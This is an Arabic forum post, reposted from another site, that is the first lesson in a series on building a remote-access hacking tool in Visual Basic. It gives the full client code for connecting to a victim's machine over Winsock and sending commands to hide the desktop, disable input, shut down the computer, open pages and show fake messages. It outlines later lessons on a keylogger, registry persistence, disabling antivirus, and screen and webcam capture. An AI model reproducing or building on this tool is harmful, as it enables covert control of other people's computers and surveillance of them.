شرح صناعة برنامج اختراق عربي

هكر المالكي · 10-27-2011, 06:50 PM

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته

الفكرة :-

تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك

الهدف :-

إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي

سلسلة الدروس :-

1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم

2- إضافة محادثة العميل والضحية
3- إضافة محادثة الماتركس
4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ
5- إضافة الكى لوجر جاسوس لوحة المفاتيح
6- تعليم صناعة محرر الخادم الإيدت سرفر
7- إضافة إدارة النوافذ
8- إضافة إدارة الملفات
9- إضافة تصوير الشاشة والكاميرا
10- إضافة الحماية بالباسورد

-: الشرح :-

افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE

راح يفتح لك فورم فارغ كما بالصورة التالية

الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح

الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية

ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح

الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية

نفس العملية أيضا مع الأزرار من الخاصية Caption

أما مربعات النصوص فنغيرها من الخاصية Text

الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى

زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية

راح يفتح لنا هذه النافذة

نقوم بإختيار الخيار الأول Form

راح يفتح لنا فورم جديد كالسابق

نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد

نقوم بإضافة خمسة عشر زر كالتالى

نقوم يتغيير التسميات من Caption كالتالى

الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام

نقوم بإدارج فورم جديد بنفس الطريقة السابقة

نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد

نقوم بإدراج الكائنات كما بالتالى

نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text

ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg

والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :-

وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API

والان حتى تتمكن من اضافتها اتبع الآتى

عد إلى الفورم الرئيسى Main

اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components

راح يفتح لك قائمة بالأدوات الخارجية المسجلة

ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK

اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse...

سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX

إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز

وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية

اضغط عل OK لتضاف فى آخر ToolBox

قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية

وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet

أكواد الفورم الرئيسى Main

( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه )

1- كود زر الإتصال

كود:
If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If

2- كود زر قطع الإتصال

كود:

lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال

3- كود زر المرح

كود:

Fun.Show ' لإظهار فورم المرح

4- كود زر رسائل النظام

كود:

Massege.Show 'لإظهار فورم الرسائل

الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود

كود:
wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False'
لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات

ونلصق هذا الكود فى الإجراء Close

كود:

wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال

ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود

كود:

lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال

اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود

كود:

cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال

الآن انتهينا من أكواد الفورم الرئيسيى Main

==================

أكواد فورم المرح Fun

1- كود زر فتح سواقة الأقراص

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
2- كود زر إغلاق سواقة الأقراص

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
3- كود زر إخفاء شريط المهام

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
4- كود زر إظهار شريط المهام

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If
5- كود زر إخفاء سطح المكتب

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
6- كود زر إظهار سطح المكتب

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
7- كود زر إخفاء زر إبدأ

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
8- كود زر إظهار زر إبدأ

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
9- كود زر فتح صفحة بالمتصفح

If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
10- كود زر ضبط صفحة البدء

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
11- كود زر تعطيل الفأرة والمفاتيح

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
12- كود زر تشغيل الفأرة والمفاتيح

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
13- كود زر إغلاق الجهاز

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
14- كود زر إعادة التشغيل

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
15- كود زر تشغيل حافظة الشاشة

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
الآن انتهينا من أ كواد فورم المرح Fun

============

أكواد فورم الرسائل Massege

1- أكواد زر إرسال الرسالة

كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If
2- كود زر اختبار الرسالة

كود:
If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If

..~ منقول للفائده ~..

المصدر: :: vBspiders Professional Network ::

avp wkhum fvkhl[ hojvhr uvfd